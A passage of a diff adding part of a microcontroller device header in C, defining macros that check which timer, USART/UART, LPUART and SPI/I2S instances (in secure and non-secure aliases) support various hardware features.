(((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : supporting ETR source selection ***************/ +#define IS_TIM_ETRSEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)|| \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)|| \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)|| \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting bitfield RTCPREEN in OR1 register ********************/ +#define IS_TIM_RTCPREEN_INSTANCE(INSTANCE) (((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM12_NS) || ((__INSTANCE__) == TIM12_S)|| \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************************** I2S Instances *******************************/ +#define IS_I2S_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1) || \ + ((INSTANCE) == SPI2) || \ + ((INSTANCE) == SPI3)) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) 